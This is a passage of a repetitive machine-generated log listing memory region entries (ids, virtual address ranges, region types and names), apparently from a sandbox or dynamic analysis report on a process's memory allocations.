= "" Region: id = 17329 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17330 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17331 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17332 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17333 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17334 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17335 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17336 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17337 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17338 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17339 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17340 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17341 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17342 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17343 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17344 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17345 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17346 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17347 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17348 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17349 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17350 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17351 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17352 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17353 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17354 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17355 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17356 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17357 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17358 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17359 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17360 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17361 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17362 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17363 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17364 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17365 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17366 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17367 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17368 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17369 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17370 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17371 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17372 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17373 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17374 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17375 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17376 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17377 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17378 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17379 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17380 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17381 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17382 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17383 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17384 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17385 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17386 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17387 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17388 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17389 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17390 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17391 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17392 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17393 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17394 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17395 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17396 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17397 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17398 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17399 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17400 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17401 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17402 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17403 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17404 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17405 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17406 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17407 start_va = 0x10fd0000 end_va = 0x1104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010fd0000" filename = "" Region: id = 17408 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17409 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17410 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17411 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17412 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17413 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17414 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17415 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17416 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17417 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17418 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17419 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17420 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17421 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17422 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17423 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17424 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17425 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17427 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17428 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17429 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17430 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17431 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17432 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17433 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17434 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17435 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17436 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17437 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17438 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17439 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17440 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17441 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17442 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17443 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17444 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17445 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17446 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17447 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17448 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17449 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17450 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17451 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17452 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17453 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17454 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17455 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17456 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17457 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17458 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17459 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17460 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17461 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17462 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17463 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17464 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17465 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17466 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17467 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17468 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17469 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17470 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17471 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17472 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17473 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17474 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17475 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17476 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17477 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17478 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17479 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17480 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17481 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17482 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17483 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17484 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17485 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17486 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17487 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17488 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17489 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17490 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17491 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17492 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17493 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17494 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17495 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17496 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17497 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 17498 start_va = 0x115d0000 end_va = 0x11ac2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000115d0000" filename = "" Region: id = 17499 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 17500 start_va = 0x460000 end_va = 0x463fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 17501 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17502 start_va = 0x133d0000 end_va = 0x138c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000133d0000" filename = "" Region: id = 17503 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17504 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17505 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17506 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17507 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17508 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17509 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17510 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17511 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17512 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17513 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17514 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17515 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17516 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17517 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17518 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17519 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17520 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17521 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 17522 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 17523 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 17524 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 